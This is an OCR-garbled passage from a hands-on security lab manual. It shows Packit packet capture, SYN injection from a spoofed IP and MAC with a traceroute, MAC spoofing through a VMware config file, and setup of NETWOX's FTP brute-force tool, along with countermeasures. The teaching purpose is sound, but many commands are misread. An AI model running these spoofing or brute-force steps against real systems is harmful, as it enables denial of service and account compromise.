gee -DHAVE_CONFIG_H -I. -I. -I.. -I.. -I../includes -I/usr/ineclude/pcap -g -0
2 -Wall -c 'test -f 'print_injection.c' || echo "./'’print_injection.c
gce -g -02 -Wall  -o packit init.o define_defaults.o error.o injection.o capt

ure.o shape_arp_hdr.o shape_tcp_hdr.o shape_udp_hdr.o shape_icmpv4_hdr.o shape_i
|pv4_hdr.o shape_ethernet_hdr.o shape_packet.o utils.o stats.o pcap_setnonblock.o!
usage.o exit.o main.o print_ts.o print_arp_hdr.o print_tcp_hdr.o print_udp hdr.
o print_icmpv4_hdr.o print_ipv4 hdr.o print_ethernet_hdr.o print_pktdump.o print
_capture.o print_injection.o -Ipcap -lpcap -lpcap -Inet

strip packit

cp packit ..

make[2]: Leaving directory '/root/tools/packit/packit-1.0/src’
Making all in man

make[2]: Entering directory °/root/tools/packit/packit-1.0/man’
make[2]: Nothing to be done for ‘all'.

imake[2]: Leaving directory "/root/tools/packit/packit-1.0/man’
make[2]: Entering directory "/root/tools/packit/packit-1.0"
make[2]: Nothing to be done for “all-am'.

make[2]: Leaving directory °/root/tools/packit/packit-1.0"
make[1]: Leaving directory '/root/tools/packit/packit-1.0

| [rootelocalhost packit-1.0# ]

[S=
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Install the Packit application by typing make install and pressing Enter.

Red Hat Linux - ¥Mware Workstation =10l x|

Fle Edit View WM Team ‘Windows Help
wlp & k)
a

~

rootdJocalhost:~/tools/packit/packi
File Edit View Terminal Go Help

|2 -Wall -c 'test -f 'print_capture.c' || echo './''print_capture.c
source='print_injection.c' object='print_injection.o' libtool=no \
depfile='.deps/print_injection.Po’ tmpdepfile='.deps/print_injection.TPo" \
depmode=gcc3 /bin/sh ../depcomp \

gce -DHAVE_CONFIG H -I. -I. -I.. -I.. -I../includes -I/usr/include/pcap -g -0
2 -Wall -c "test -f 'print_injection.c' || echo './'’print_injection.c
gcc -g -02 -Wall o packit init.o define_defaults.o error.o injection.o capt

ure.o shape_arp_hdr.o shape_tcp_hdr.o shape_udp_hdr.o shape_icmpv4_hdr.o shape_i
pv4_hdr.o shape_ethernet_hdr.o shape_packet.o utils.o stats.o pcap_setnonblock.o
usage.o exit.o main.o print_ts.o print_arp_hdr.o print_tcp_hdr.o print_udp_hdr.
o print_icmpv4_hdr.o print_ipv4_hdr.o print_ethernet_hdr.o print_pktdump.o print
_capture.o print_injection.o -lpcap -lpcap -lpcap -lnet

strip packit

cp packit ..

make[2]: Leaving directory °/root/tools/packit/packit-1.0/src’
Making all in man

imake[2]: Entering directory °/root/tools/packit/packit-1.0/man’
make[2]: Nothing to be done for 'all'.

make[2]: Leaving directory /root/tools/packit/packit-1.0/man’
make[2]: Entering directory /root/tools/packit/packit-1.0"
make[2]: Nothing to be done for ‘“all-am'.

make[2]: Leaving directory /root/tools/packit/packit-1.0"
make[1]: Leaving directory ’/root/tools/packit/packit-1.0"

i [root@localhost packit-1.0]# make installl

Tue Nov 15
7.37 PM

=

The Packit application will install.

Bl Red Hat Linux - ¥Mware Workstation ) =181 x|

‘F\Ie Edt View ¥M Team ‘Windows Help

IEEE m][=]

File Edit Wiew Temminal Go Help
Making install in src
make[1]: Entering directory ’/root/tools/packit/packit-1.0/src’
make[2]: Entering directory °/root/tools/packit/packit-1.0/sre’
/bin/sh ../mkinstalldirs /fusr/local/sbin

Jusr/binfinstall -c packit fusr/local/sbin/packit
make[2]: Nothing to be done for "install-data-am’.
make[2]: Leaving directory ’/root/tools/packit/packit-1.0/src’
make[1]: Leaving directory °/root/tools/packit/packit-1.0/sre’
Making install in man
make[1]: Entering directory '/root/tools/packit/packit-1.0/man’
make[2]: Entering directory ’/root/tools/packit/packit-1.0/man’
make[2]: Nothing to be done for "install-exec-am'.
/bin/sh ../mkinstalldirs /fusr/local/man/man8
mkdir -p -- Jusr/local/man/mang

/fusr/bin/install -c¢ -m 644 ./packit.8 /usr/local/man/man8/packit.8
make[2]: Leaving directory ’/root/tools/packit/packit-1.0/man’
make[1]: Leaving directory °/root/tools/packit/packit-1.0/man’
make[1]: Entering directory '/root/tools/packit/packit-1.0"
make[2]: Entering directory "/root/tools/packit/packit-1.0"
make[2]: Nothing to be done for "install-exec-am’.
make[2]: Nothing to be done for "install-data-am'.
make[2]: Leaving directory °/root/tools/packit/packit-1.0"
make[1]: Leaving directory /root/tools/packit/packit-1.0"
[root@localhost packit-1.01# ||

AL LgaH

Gom
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To capture all packets, type the following syntax:

./packit -m cap

The —m cap tells Packit to run in mode capture.

Red Hat Linux - ¥Mware Workstation

Fle Edt View ¥M Team ‘Windows Help

B4 oot @localhost:x ool s/packitjpac
Eile Edit WView Temminal Go Help
[root@localhost packit-1.0]# ./packit -m Eapl

A HeRER

Eom ~

The packets will scroll on the screen.

ed Hat Linux - ¥Mware Workstal

=101

File Edt Mizw WM Team ‘Windows Help

=
5

[ root@ localhost:~/tools/packit/pack
Eile Edit View Terminal Go Help
Timestamp: 20:24:09.345501
TCP header: Src Port: 33008 Dst Port: 80 Flag(s): A
Window: 17160 Seqn: 1625795159 Ackn: 2526086379
IP header: Src Address: 172.16.1.45 Dst Address: 64.233.187.99
TTL: 64 ID: 23056 TOS: Ox0 Len: 40 (DF)

[+]

-| PID 87 |

Timestamp: 20:24:09.390404

UDP header: Src Port: 53 Dst Port: 32771 Len: 106

IP header: Src Address: home Dst Address: 172.16.1.45
TTL: 255 ID: 2316 TOS: Ox0 Len: 126 (DF)

~-| PID 88 |

Timestamp: 20:24:09.391133

|UDP header: Src Port: 32771 Dst Port: 53 Len: 50

TP header: Src Address: 172.16.1.45 Dst Address: home
TTL: €4 ID: 64787 TO0S: 0x0 Len: 70 (DF)

-| PID 89 |

Timestamp: 20:24:09.469812
ITCP header: Src Port: 80 Dst Pert: 33008 Flag(s): A

AL NsEE

0 Tue Nov 15
824 PM

el
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./packit -m

To tell Packit to capture only TCP traffic, type:

cap 'tcp'!

Red Hat Linux - ¥Mware Workstation

Fle Edt View Team ‘Windows Help

=10l x|

nly & @B
&

[ .root@Iocalho st:~/tools/packit/packi

File Edit View Terminal Go Help
[root@localhost packit-1.0]# ./packit -m cap 'tcp'l

Tue Nov 15
825 FPM

=

Bl Red Hat Linux - ¥Mware Workstation

File  Edt view Team Windows Help

nlp &

gueetipealbestaiap]sipaekitipac

Eile Edit View Temminal Go Help

Timestamp: 20:25:37.461153

TCP header: Src Port: 33027 Dst Port: 80 Flag(s): AF
Window: 31460 Seqn: 1732107453 Ackn: 4178637194

IP header: src Address: 172.16.1.45 Dst Address: 64.233.187.99
TTL: 64 ID: 63200 TOS: OxO Len: 40 (DF)

~-| PID 32 |

Timestamp: 20:25:37.490493

TCP header: Src Port: 80 Dst Port: 33027 Flag(s): AF
Window: B190 Segn: 4178637194 Ackn: 1732107454

IP header: Src Address: 64.233.187.99 Dst Address: 172.16.1.45
TTL: 243 1ID: 47840 TOS: OxO Len: 40

—| PID 33 |

Timestamp: 20:25:37.490589

TCP header: Src Port: 33027 Dst Port: 80 Flag(s): A
Window: 31460 Seqn: 1732107454 Ackn: 4178637195

IP header: Src Address: 172.16.1.45 Dst Address: 64.233.187.99
TTL: 64 1ID: 63201 TOS: Ox0 Len: 40 (DF)

-| Packet Capture Statistics |

Received: 33 Dropped: 0 Processed: 0

n
AT E
Sk

Tue Nov 15
825 PM

Eem
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To capture the first 100 packets and save the data to a file, type:
./packit -m cap -c 100 'tcp' -w 100packets.txt

B The — 100 tells Packit to limit the captured packets to 100.
B The —w 100packets.txt tells Packit to write the results to a text file named
100packets.txt.

] A FO e Lo D Server | [gn VWndows 2000 Server | [ Wnddws
hd roote localhost-inols/packiypackit Lo

Elle  Edt Mew Termind  Go  Help
[rootélocalhost packit-1.01# ./packit -m cap -c 100 'tep' -w loopackets.(xl:l

a

Bom

In this example, the first TCP 100 packets will be written to a file named
100packets.txt.

=10lx]

Fin Edt Wew WM Toam  Windows Help
|®mnr ® @

s [T (A s [ e Saer| [ ¢ » x
hd roote localhost-inols/packiypackit Lo
Elle  Edt Mew Termind  Go  Help
[rootdlocalhest packit-1.01# ./packit -m cap -c 100 'tep' -w lOOpackets.txt
Mode: Packet Capture using device: etho [tep]

-| Facket Capture Statistics |
Received: 100 Dropped: 0 Processed: 0

[root@localbost packit-1.000 ]|

A& UgaE

Bom
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The 100packets.txt file is written.

DzC_
z %=

. 100packets.txt
' 7.6 K :

Open the 100packets.txt file by typing:
./packit -m cap -r 100packets.txt
The —r 100packets.txt tells Packit to read the saved file named 100packets.txt.

B Red Hat Linux - YMware Workstation ) X|
BiRed k: ul

File Edit Miew WM Team Windows Help
NEEREEEIEEEE

(3 Red Hat Linux

A Home
[ root@ localhost:~/lools/packit/packit-1.0

Eile Edit View Terminal Go Help

[root@localhost packit-1.01# ./packit -m cap -r 1UUpackets.txtI

AR Hegff @ 0

Bo@ -
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The file is now open for analysis.

[ ned tat naatvetmare warkstation ~laix

Fie Edb Yew WM Toom  Winden bk

s urebanea onE

= Pome | [ o 000 fyafmesns

[t e L B I R e, R
B2 oot localhost:= ol s/packiypackii Lo

Elle  Edit Mew Teminal Go Help
Window: 17160 Seqn: 2044747653 Ackn: 1604893452

IP header: Src Address: 172.16.1.45 Dst Address: 64,233.161,147
TIL: 64 ID: 51737 TOG: Ox0 Len: 40 (DF)

-| PID 99 |

Tinestamp: 20:33:52.975131

TP header: Sre Port: 33114 Dst Port: 80 Flagis): AP
Window: 17160 Seqn: 2044747833 Ac 604893452

1P header:  Src Address: 172,16.1.45 Dst Address: 64,233.161,147
TTL: 64 ID: 51738 TOS: OxO0 Len: 645 (DF)

-] PID 100 |

Tinestamp:  20:33:52.009716

TCP header: Src Port: 0 Dst Port: 33113 Flag(s): A
Window: 6946 Segn: 3273693136 Ackn: 2041035167

17 header: Src Address: 64.733.161,147 Dst Address: 172.16.1.4%
TIL: 49 ID: 34260 TOS5: Ox0 Len: 1470

| Packet Capture Statistics |
Received: 0 Dropped: 0 Processed: O

[rootelocalhost packit-1.01# |

AR HSES |

To inject 100 SYN packets against a specific target from a “spoofed” IP and
“spoofed” MAC address type:

./packit -s 1.2.3.4 -d 172.16.1.40 -S 100 -D 80 -c 100
-F S —-e AA:BB:CC:DD:EE:FF

The —s 1.2.3.4 tells Packit to place a source IP of 1.2.3.4 on each packet.
The —d 172.16.1.40 tells Packit to send to the target IP of 172.16.1.40.

The =S 100 tells Packit to use port 100 as the source port.

The —D 80 tells Packit to send to port 80 of the target.

The —F S tells Packit to set the SYN flag of each packet.

The —e AA:BB:CC:DD:EE:FF tells Packit to use AA:BB:CC:DD:EE:FF as the
source MAC address.

[ e al o ¥tmare Warkstation ~lmlx]
Fle Edt Wew WM Team  Windon  Help

Bure DaiBaoa nomn

# Homm | [ ik S0 frifmesons | [ETEENTEREORY (@ i e vl e | (3 W 0 Sevwr |y Ve

%] root locatho st =iool s packiypackit1.0 =2 2 <]

Ble Edt Vew Teminal Go Help

[root@localhost packit-1.0)# ./packit -8 1.2.3.4 -d 172.16,1.40 -5 100 -D BO -¢ [4]
100 -F 5 -e A:BB:CCDD:EEFH]

A&l
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The Packit application will insert the 100 “spoofed” packets against the target.

B e Hak Linis - Yware Workitation

'H-BQMMIMWM

IR a :).A} @3 DIB

(e g

Yiew Teminal Go |Hep

100 -F § -¢ AA:BE:CC:DD:EE:FF
Mode: Facket Injection using device: eth

stination

TCP header: Src Port: 100 Dst Port{s): B0 Flagis): 5
Window: 65535 Seqn: 337882832

1P header:  Sre Address: 1,2.3.4 Dst Address: 172,16.1.40
TIL: 128 ID: 35934 TOS: OxO Lem: 40

| Packet Injection Statistics |
Injected: 100 Packets/Sec: 1.0 Bytes/Sec: 34.0 Errors: 0

[rootelocalhost packit-1.00e l

a4l 8s

T o

YD

Server

Eth header: Sre Address: AA:RE:CCIDD:EE:FF Dat Address: 0:0:0:0:0:0

[rootelocalhost packit-1.0]8 ./packit =& 1.2.3.4 -4 172.16.1,40 =5 100 -0 80 =c [&

Warning: Using NULL destination ethermet address. Packets may not reach their de

rdthig packutfE) (RO0)T . iy i e i A e i e o4

T Wedows

From the target run an Ethereal (Lab 41) session to validate the packet injection.

The packets made it to the target from a “spoofed” 1P of 1.2.3.4.
The packets have a “spoofed” MAC address of AA:BB:CC:DD:EE:FF.

The packets were in the TCP protocol.
The packets came from port 100.
The packets were sent to port 80.

1 Wirrdaws SO0U Sexver - YMiware Workstation
| e B Wen WA Tewn Widows Hp

o (% dew Go Cotwe G faencs teb

SEoea cdx®g Re+»TF2 [OE aaaq

| ] = [ovessn.. | e [ ason |
W, |Tme = Costination Frowcal | Info. =
4 1.7.3.4 172.16.1. 40 TR 100 > 80 lsvn} Seqed acke=0 win=6s
L] 1.2.3.4 TR 100 > B0 Seq=0 Ack=) wWin=§3
8 1.2.3.4 TR 100 > B0 [SyN] Seq=0 Ack=0 win=65
13 1i2i ke TGP 100 > 80 [sw} 500 ACked wWin=g3
15 .25 TP 100 = B0 [S7H] Sege0 Acked wins=65
17 1i2i%ia TCP 100 > B0 [STH] Seqe0 Acks0 Winssi
1z 1.2.5.4 TP 100 B0 [SYN] S8qe0 Ack=0 Wins65
23800860 1234 172:16.1:40 TCR 100 5 80 [SVN] Stqe0 Ack=0 WiNes$ |
&0 | ji|
i Frame 2 (60 es on re, 60 85 {QE(HI‘E
i Ethernet II, Src: aa:bbicc:dd:ee:ff (, dd

13, bst:
il Internet Protocol. Sre: 1.2.3.4 (1.2.3.4), Ost: 172, !0 1. 40 (272.16.1,40)
T Transmission contral Protocol. SeC POFTE 1000 (1000, DST FOFTD 80 (500, Seqr 0. AckrO. LEnt O

|
ai 60(}1 Q2 0304 ac lﬁ'
WNOO 00 00 50 2
ff oc 45 DQQOODL‘ \JOODGQ
I,:JQ:ZI ] -] Ilinu-meen Ethereal W s

Bicms .
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To trace a route to a target type:
./packit -m trace -t TCP -d www.target.com -S 80 -F S
10t Lo Vetmare vortation Sipix

Fle Edt Yew VM Tean Widew Heb

Bure ool aa oo

et T L NETSRE S (RN

Ele Edr view Teminadl  Go  Help

[rootelocalhest packit-1.0]# ./packit -m trace -t TUP -d www,texnet.net -5 50 —1';_“_|

AR =@

Eoe

The target destination will be traced with each “hops” results displayed.

*Note: Remember that attackers will commonly trace a target to attempt to identify
the IP address before the target. This is probably a router.

S0t i iware oekstation_____________ =0l
Fie ES VYew VM Team Windows Hep

Enr@bDobEE 08

= Heme g Vndows 2000 Protessionad @ Fied vt Linuas i Servee | [

Bd oot localhost: - ool pac kil pac kil 1.0,
Fle Edit Yiew Temind Go Help
[root@localhost packit-1.0]# . /packit -m trace -t TCP -d www,texnet.net -5 80 Fl2]
s |
Mode: Trace Route [Hop Max: 30] using device: etho

=] HOF 1 |

IP header: Src Address: 172.16.0.1 Dst Address: 172.16.1.45
TTL: 255 ID: 51493 TOS: Ox0 Len: 68 (D)

1 woe 2 |

IF header: Src Address: 70.255.107.254 Dst Address: 172.16.1.45
TIL: 63 1ID: 318 TO5: Ox0 Len: 56

-1 HOP 3 |

IF header:  Src Address: 1851.164.11.190 Dst Address: 172.16,1.45
TIL: 253 ID: 6514 TOS: OXCO  Len: 56

-1 HOP 4 |

IP header: Src Address: 151.164.11.230 Dst Address: 172.16.1.45
TIL: 252 ID: 18665 TOS: OxCO Len: 56

A& B8 o=

Ecw

*Note: Packit is a pretty good application for injecting “spoofed” IP/MAC addresses.
Attackers can use this tool for several reasons (i.e., verifying if egress/ingress
filtering is “on” on the routers, Man-in-the-Middle (MTM) attacks, Denial of Ser-
vice (DoS) attacks).
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Lab 52: Spoof MAC Address
Altering the MAC Address: VMware Workstation W

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

Description: VMware Workstation is perfect for “spoofing” a MAC address
as the computer itself is completely virtual. Even though VMware Work-
station uses a configuration file to identify which MAC address will be
used, this file can be edited to the user’s choice.

Procedure: Edit the appropriate file and turn on the virtual computer.

Verify the current MAC address with the ipconfig /all command.

In this example, the MAC address is 00:0c:29:a3:€4:40.

1ol x|
RN ENE T E ==
A Home | [y Vindows 2000 Frofessiondl | | & i rDJ TR TE M (i Windows 2000 server [T RN
o, 5
A
Ll
o mmand Prompt
Frimary DNS Suffix
Node Ty ybrid
IP Rout o
UINS Proxy Enabled. o
= DNS Suffix Search List T ateway.2wire .net
=] [Ethernet adapter Local Area Connection 2:
Gonnection-specific DNS Suffix . : gateway.2wire.net
Description . UMuare Accelerated AMD PCNet Adapter]
F Physical Add: g o IC-29-A3-E4-40
a DHCF Enabled.
Autoconf igurat
dres
DNS Servers 16.8.1
Lease Obtained. . . . Aia day, November 15, 2085 4:44:48 P
Lease Expires . . . . . . . . . . : Wednesday, Novenber 16, 2005 4:44:48
*astart] 0] @& =1 @ 2@ || @ iuntitled) - Ethereal ‘ Bl command Prompt GEE sz em

BEcme

To manually assign a new static MAC address for a virtual machine, locate
and open with Notepad the virtual machines configuration file. The file ends
with a .vmx extension. In this example, the filename is Windows 2000
Server.vimx. For Linux machines the configuration file may end with the .cfg
extension.
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Once the file is open locate the Ethernet0.addressType = "generated"
line.

P windows 2000 Server.vmx - Notepad 101 =l

File Edit Format Yiew Help

=
Ethernet. addressType = "generated"
uuid location = "56 4d 30 1§85 83 c3 a5-df d2 7 5b £ 43 e4 40"
uuid biog = "56 4d 30 1f85 83 ¢3 a5-df d2 7f 5b fd 43 e4 40"
ethernetl generatedA ddress = "00:0c:29:a5 e4:40" |
ethernetl. generatedA ddressOffset = "0"
tools.syneTime = "FALIE"

=l

Highlight and delete the following lines of the configuration file:

Ethernet0.addressType = “generated”

uuld.location = "XX XX XX XXXX XX XX XX-XX XX XX XX XX

XX XX xXx"

uuid.bios = "XX XX XX XXXX XX XX XX-XX XX XX XX XX XX XX
XXII
ethernet0.generatedAddress = “"XX:XX:XX:XX:XX:XX"

ethernet0.generatedAddressOffset = “0”

P windows 2000 Serverx¥X.wmx - Notepad 101 =l
File Edit Format Yiew Help
=
=

*Note: The new MAC address (XX:XX:XX:AA:BB:CC) has some limitations:

B The AA must be a valid hexadecimal number between 00h and 3Fh.
B The BB and CC must be a valid hexadecimal number between 00h and FFh.

Assign a new MAC address based on the parameters stated above. In this
case, the new MAC address is 00:50:56:3F:FF:FF.

P windows 2000 Server.ymx - Notepad ) [
File Edit Format Yiew Help

ethernetl address = 00:50:56.3F FF .FF
tools.syneTime = "FALIE"

sesillredo="" |
nvram = "Windows 2000 Server nvram"

sesilil.deviceType = "disk"

ush.present = "TRIJE"
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By returning to the virtual computer and running the ipconfig /all com-
mand again, the new MAC address can be verified. All packets leaving this
machine will have the new MAC address.

‘Flle Edit  Wiew VM Team Windows

(m m[r & @&

J i viindows 2000 Server [

Pr inary? DRE Suffix . . . . - .

Hode Ty, fEEigs Hybrid

IF Routing Enahled. RN Ho

WINS Proxy Enabled. i Ho

DN$ Suffix Search List. . . . . gateway. 2y

Ethernet adapter Local Area Connection 2:

Gonnection-specific DNS Suifix gateway.2uire.nct
UMvare Accelerated AMD PCNet Adapter

AP—58-56—3F-FF-FF
DHCP Enabled.
Autocanf igura

P_Addr

Mask i
Default Gateway .
DHCP Berver . . .

DNS Servers . . . - . . . ... i

Lease Obtained. . - . . . . . . Tuesday, November 15, 2005 11:38:24

Lease Expires . . - . - Wednesday. Movemher 16, 2085 11:38:2

Hstart|| 1 & 5 & = © ||[Ecommand promer
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Lab 53: Brute-Force FTP Server
Crack an FTP Password: NETWOX/NETWAG

Prerequisites: File Transfer Protocol (FTP) server

Countermeasures: Bastion servers/workstations, host-based firewalls,
strong passwords, FTP over Secure Socket Layer (SSL)

Description: The NETWOX (NETWork toolbOX) application can be a
very dangerous tool in the wrong hands. At the time of this writing,
the latest version has 197 different techniques to enumerate informa-
tion from the Local Area Network (LAN) or launch attacks against a
remote target. This tool is listed in several sections of this manual. In
this lab the tool is used to demonstrate its ability to brute-force an FTP
server given a username and password list. Remember that all com-
mands in Linux are case sensitive.

Procedure: Compile all components, run the NETWOX application, and
review the results.

From the directory containing the compressed files, type tar —zxvf netw-
ib-ox-ag-5.18.0.tgz.

The files will uncompress into several new directories.

Compile the NETWLIB component from the SRC/NETWIB-LIB/SRC
directory starting with the syntax. /genemake.

157 Red Hat Linux B Server, - VMware Workstation
Fle Edt View WM Power Snapshot Windows Help

0l [ €3 & snepshot [ ]

Redl Hat Linux § Server

. droot@ocalhio 00 0 atwib etwib onso =1k

Session Edit View Settings Help

2ol

[root@localhost netwib]# ./genemakel] -

Cl
| @ RPM resour

file:/root ‘é@%’;é’ﬂ

Gom |

29 S8z fH
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To compile the executable, type the make command.

File Edt View WM Power Snapshot Windows  Help

0| b |& B seesnet B i

SIOCGLIFCONF no

SIOCGLIFCONF [+std] no

AF_INET6E yes

_SC_GETPW_R_SIZE_MAX yes

_SC_GETGR_R_SIZE MAX yes

tm_gmtoff yes

Generate the different files

Creation of netwib/def.h

Creation of ./compil/unix/netwib-config

Creation of Makefile

Conclusion
System :

We will compile with config.dat containing :
NETWIBDEF_SYSNAME="Linux"
NETWIBDEF_SYSARCH="i386"

On a system :
system  : Linux
release : 2.4.18-14
hardware : 1686

If it is not ok, look at INSTALLUNIX.TXT, then edit config.dat.

End of genemake

0K - You can now compile with 'make’
[root@localhost srcl# make)

‘% Q @ @‘ I ;RPM resour R @0"@

Install the application by typing make install.

I8 Red Hat Linux B Server - VMware Workstation
File Edit Miew WM Power Snapshob  Windows  Help

0| % Bl osnapsnor Y ik

Red Hat Linux 8 Server

Ind.o netwib/sys/threadtsd.c netwib/sys/threadlist.o netwib/sys/io.o netwib/sys/ionew.o [a]
netwib/sys/iousual.o netwib/sys/wait.o netwib/sys/waitlist.o netwib/sys/file.o netwib/s
lys/fd.o netwib/sys/stream.o netwib/sys/kbd.o netwib/sys/kbdchar.o netwib/sys/kbdint.o n
etwib/sys/kbdbuf.o netwib/sys/kbdpress.o netwib/sys/screen.o netwib/sys/bufenc.o netwib
/sys/bufdec.o netwib/sys/disp.o netwib/sys/record.o netwib/sys/beep.o netwib/sys/global
.0 netwib/sys/init.o netwib/sys/error.o netwib/sys/internal.o netwib/sys/unix.o netwib/
sys,/windows.o netwib/net/priv.o netwib/net/debug.o netwib/net/device.o netwib/net/ip.o
netwib/net/eth.o netwib/net/port.o netwib/net/ips.o netwib/net/ipsi.o netwib/net/eths.o
netwib/net/ethsi.o netwib/net/ports.o netwib/net/portsi.o netwib/net/conf.o netwib/net
/confdev.o netwib/net/confip.o netwib/net/confarp.o netwib/net/confrout.o netwib/net/so
ck.o netwib/net/sniff.o netwib/net/spoof.o netwib/pkt/priv.o netwib/pkt/debug.o netwib/
ipkt/1linkhdr.o netwib/pkt/iphdr.o netwib/pkt/ip4cpt.c netwib/pkt/ip4opts.c netwib/pkt/ip
| |Bext.o netwib/pkt/ip6exts.o netwib/pkt/arphdr.o netwib/pkt/tcphdr.o netwib/pkt/udphdr.o
netwib/pkt/tcpopt.o netwib/pkt/tcpopts.o netwib/pkt/ip64bits.o netwib/pkt/icmp4.o0 netw
ib/pkt/icmp6.o netwib/pkt/icmpénd.o netwib/pkt/layer.o netwib/pkt/packet.o netwib/pkt/c
onv.o netwib/pkt/ipfrag.o netwib/shw/priv.o netwib/shw/debug.o netwib/shw/array.o netwi
[b/shw/linkhdr.c netwib/shw/iphdr.c netwib/shw/ip4opt.o netwib/shw/ip4opts.o netwib/shw/
ipGext.o netwib/shw/ip6exts.o netwib/shw/arphdr.o netwib/shw/tcphdr.c netwib/shw/udphdr
.0 netwib/shw/tcpopt.o netwib/shw/tcpopts.o netwib/shw/icmp4.o netwib/shw/icmpé.o netwi
lb/shw/icmpénd.o netwib/shw/packet.o

ranlib libnetwib.a

OK - You can now install libmetwib.a with 'make install'
[root@localhost srcl# make installl

e b
e b

6]

aRE U BEl. .t agus

Gom |
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The application will now install.

Fie Edt WView WM Poser Snapshot  Windows  Help
By B e OEa

Wi Mt L 8 ot

3 ; -
| Session Edt View Semings Help

In -5 netwibil8_pkt.3 Sfusr/local/man/man3/netwib_pkt.3 all
cp ../doc/netwib_shw.3 fusr/local/man/man3/netwib518_shw.3

chnod 844 Jusr/local/man/nan3/netwibs18_shw.3

rn -f fusr/lecal/man/mand/netwib_shw.3

In -5 netwib518_shw.3 /usr/local/man/man3/netwib_shw.3

ep .. fdoc/netwib_err.3 fuse/local/man/mand/netwibS18_ers.3

chnod 644 fusr/local/man/man3/netwibSle_err.3

rn -f fusr/local/man/man3/netwib_err.3

In -5 netwib518_err.3 fusr/local/man/man3/netwib_err.3

[ -d /usr/loecal/bin ] || nkdir -p fusc/local/bin
ep compil/unix/netwib-config fusr/local/bin/netwibS18-config
chnod 755 Jusc/local/bin/netwib518-config

rn -f fuse/local/bin/netwib-config

In -5 netwib518-config /usr/lecal/bin/netwib-config
[ =d fusrflocal/lib | || mkdir -p fuse/local/lib
cp libnetwib.a fusr/lacal/1ib/libnetwibsis.a

ranlik /usr/local/lib/libretwib518.a

chmod 644 Jusr/local/lib/libnetwib518.a

rn -f fuse/local/lib/1ibnetwib.a

In -5 libnetwibil8.a fusr/local/lib/libnetwib.a

Ok - You can now download and install netwox __
[root@localhost srcl# >

‘% B SN @' l: “B?OT“’"
Bow

The next step is to compile the NETWOX component from the SRC/NETWOX-
LIB/SRC directory with the same steps of ./genemake, make, and make install.

The final compiling step is to compile the NETWAG component from the
SRC/NETWAG-SRC/SRC directory with the same steps of ./genemake, make,
and make install.

The NETWOX application is a command-line application. The NETWAG
application is the Graphical User Interface (GUD for the NETWOX application.
In this example the NETWAG example will be used. From the NETWAG
directory in Linux start the application with the syntax of:

. /netwag

3|

Fle Lt Yew VM Power Snapshot  Windows Help
] LBl - B B R

o0 Ad . et Livnis 8 51 ver

[ - = - - ____I:I_K__
| Session Edit View Seftings Help

o ] |
iruuljluc-lhus\ src)# . /netwag -

a@ W BE lngua

[==1"]
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The following screen will appear listing each tool that NETWOX is capable
of performing.

*Note: In this lab toll number 130 will be used. Highlight toll 130 and click Help.

51 Red Hat Linux B Server - Vidware Worksiation

File Edt Yew UM Power Snapshot Windows  Help

W[y |8 W sen B |

Eile

_root | NEEEINTERN| NS | NETEREE|

S o O e R

Display netuark configuration 5]

Display debugging infornation

Display information shout an IF address or a hostnane

Display information about an Ethernet address

Obtain Ethernet addresses of compubers in an IP list

Display hou to resch sn 1P address

Sniff

Sniff and display open ports

8niff and display Ethernet. addresses

Sniff and display netuork statistios

SNLFF and werify checksums This listhox contains the title
of tools, 1f "Show all* is

Edit Session

Display uhich values to use far netuox paransters o syl L e
Ubtain ILT type for sniff and spoof for cach device fool, Tf "Search’ is checied
Spoof this list contains the result o
Display sontent of a record the searot
Convert a record

Recompute checksuns of packets in s record

Reassemble IP packets of a record, and reorder TCR £low

Extract a range of packets from a record

Search for strings in packsts fron 3 record

Corvert a nunber

Comvert a string

Display ASCII table

Convert, TF addresses ranges

Test if a direstory is secure

Durp 3 File

Compute HDS of a File

Corvert a File to 3 record Cpermit to easily edit)

HRRRHRERGEA R RRRREE RN R @A UN A4

VAE]

/
+r
Metuag version 5,18,0 IA
/

Linked with netwox version B.18.¢
2

This version contains 167 tools
3|4

I X file:froot/toolsa

@

7

@
Sy
Ry
]
w

ee@E o

0=

& root@localhos:

Highlight item 130 (Brute Force FTP Client).

157 Red Hat Linux B Server - VMware Workstation

File Edt Yew UM Power Snapshot Windows  Help

il i?i@ B snapstet [ CalE|

Red Hat Linux 3 Server

4 sort o, tree 4 chow all  search

125 & HTTF server [
126 & HTTP backdaar server

127 i Cypher/decypher 3 file using a xor

128 § Split a File in smaller chunks

129 ; Reassenble chunks of a file

131t Brute Force http client site passwordd — —_—
132 t Brute forcs http client (proxy passuord) i et Rilin oo G0
L5 ¢ comvert an w1 e oftool sl iRt ehousal 1]
i Shegked thic 1isk cantaing every
134 ¢ Dbtain urls in a HHTL #ile tool, If "Search’ is checked
135 3 Corvert urls in a HHTL file to sksolute urls this'List conbains the result of
136 & Wb dounload ChttRi//as. oF FERIACe.s) Ehekzeaeh
137 : Create a sawple configuration file for ueb spider
138 ¢ Heb spider
439 ¢ Heh spider on command line
140 ¢ Spoo? EthernetlIpé
141 ¢ Spoof EthernetIpélop
142 ¢ Spoof EthernetIpETep
143 ¢ Spaof EthernetIpslomps
144 T
145 ¢ Spoo? Ipslidp
146 ¢ Spoof InsTop
147 ¢ Spoo? Ipslowps
148 : Ping ICHPG Neighbor Discovery
1449 ¢ Ping ICHPG Neighbor Jiscovery (Ethlp spoof
150 ¢ Soan ICHPG Heighbor Tiscovery
451 t Soan ICHPG Heishbor Discovery (Ethlp spoof?
152 : Interactive IRC client
I~ 1.~ /]

Lirked with netwsx version 5,18,0
Thic version contains 167 tadls

ad@ 8w

7]

I X file: froot/toolsa

N\\\.
=
e
]
(=)

B

@ root@localhos:

=
b
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By clicking on the Help tab, you display the syntax of the tool.

The top section of the screen illustrates the correct syntax and examples
of each tool selected. In this example, clicking on the Example button allows
you to view the text placed into the center white block of the screen. This is
the execution section. This is the syntax that will be executed and should be
modified to run against the target.

The lowest section contains the status of the tool’s execution.

181 Red Hat Linux B Server - Vidware Workstation

© Fle Edit View VM Power Snapshat  Windows  Help

CE 0P |2 B snepsher [ 05 B

Red Hat Linux 8 Server || &

Toal number 3 130

Tie1e} Bruee. rorce (Ftp client

Usage: netuox 130 Tp oL dats] C-ul file [-d devicel [-E sth] [-s sth] [-1 ip] [-P port] [-p port] [-o ipdopts] [-0 ipGex
LTINS TR St e e o

nawe type Crequired=sldeseription fexauple

[-i1--dst-ip] ip usstlnatlnn T ers 6700

-Li--login data

[-wl--pazsuord-Filel File Mpasswnrﬂ File fassuorafile,txts

ol - o device name

e
destination sthernet address
source [P address 112,168,
zource port nunie

destination port Fea
IPud apticns

IPuG extersions

lagin File Tloginfile,txt
B b i B

s
